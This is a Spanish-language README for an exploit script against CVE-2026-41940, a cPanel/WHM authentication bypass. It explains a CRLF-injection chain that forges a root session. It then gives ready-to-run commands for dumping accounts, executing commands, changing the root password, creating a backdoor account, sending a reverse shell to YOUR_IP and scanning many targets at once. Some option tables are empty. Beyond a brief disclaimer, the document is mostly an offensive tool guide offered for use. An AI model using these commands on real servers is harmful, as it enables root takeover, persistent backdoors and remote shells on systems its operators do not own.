CVE-2026-41940: Omisión de Autenticación en cPanel/WHM (Objetivo Único y Múltiple)
Aviso legal: Este documento y el script asociado (exploit.py) se proporcionan estrictamente con fines educativos, investigación de seguridad y pruebas de penetración autorizadas. No utilice este software contra sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba.
Descripción general
exploit.py es un script que demuestra una vulnerabilidad de omisión de autenticación (CVE-2026-41940) en cPanel y WHM. La vulnerabilidad permite a un atacante no autenticado inyectar una sesión root en la caché del demonio mediante una falla de inyección CRLF, logrando en última instancia acceso a nivel root en WHM sin necesidad de credenciales válidas.
Análisis de la vulnerabilidad y flujo del exploit
El exploit funciona aprovechando una vulnerabilidad de inyección CRLF (Retorno de Carro y Salto de Línea) dentro del mecanismo de manejo de autenticación Basic, combinada con una falla de propagación de sesión. El script automatiza el ataque en cuatro etapas:
- Acuñación de sesión previa a la autenticación: Se conecta a endpoints públicos de inicio de sesión (p. ej.,
/login/ o /cgi/login.cgi) para obtener una cookie de sesión base no autenticada (whostmgrsession).
- Inyección CRLF: Envía un encabezado de autenticación Basic manipulado que contiene una carga útil codificada en Base64 que inyecta campos de sesión root directamente en la caché de sesiones de
cpsrvd. La respuesta de redirección del servidor filtra el token de seguridad generado (cpsess).
- Propagación de la sesión: La cookie de sesión cruda se envía a un endpoint autenticado de WHM, lo que provoca que
do_token_denied propague la sesión falsificada en la caché del demonio, convirtiéndola en una sesión autenticada válida.
- Verificación: Accede a endpoints restringidos de la API de WHM (p. ej.,
/json-api/version) utilizando la sesión falsificada para confirmar el acceso a nivel root.
Requisitos previos
- Python 3.x
- Librería
requests
Uso
python exploit.py --target <URL> [opciones]
python exploit.py --target-file <ARCHIVO> [opciones]
Argumentos
Selección de objetivo
| Argumento | Descripción |
|---|
--target URL | URL única de WHM (p. ej., https://target:2087) |
--target-file ARCHIVO | Archivo con objetivos (un ip:puerto por línea) — habilita automáticamente el modo de verificación |
Opciones de red y núcleo
Opciones de explotación (posterior a la omisión)
Opciones de salida
| Argumento | Descripción |
|---|
--output ARCHIVO | Guardar el token de sesión y los detalles en un archivo JSON |
Ejemplos
# Comprobar si el objetivo es vulnerable
python exploit.py --target https://target:2087 --check
# Volcar información del servidor (versión, cuentas, privilegios)
python exploit.py --target https://target:2087 --dump
# Generar una URL de inicio de sesión root de un solo clic (péguela en el navegador de inmediato)
python exploit.py --target https://target:2087 --session
# Ejecutar un comando
python exploit.py --target https://target:2087 --exec "id"
# Abrir un shell interactivo de WHM
python exploit.py --target https://target:2087 --shell
# Cambiar la contraseña root
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Llamar directamente a la API de WHM
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Crear una cuenta de cPanel como puerta trasera
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Enviar una reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Sobrescribir el nombre de host (úselo cuando el descubrimiento automático falle)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Escanear múltiples objetivos (modo solo verificación)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Guardar la sesión en un archivo
python exploit.py --target https://target:2087 --dump --output results.json
Comandos del shell interactivo
Al usar --shell, están disponibles los siguientes comandos:
Recordatorio
Aplique inmediatamente los últimos parches de seguridad de cPanel/WHM.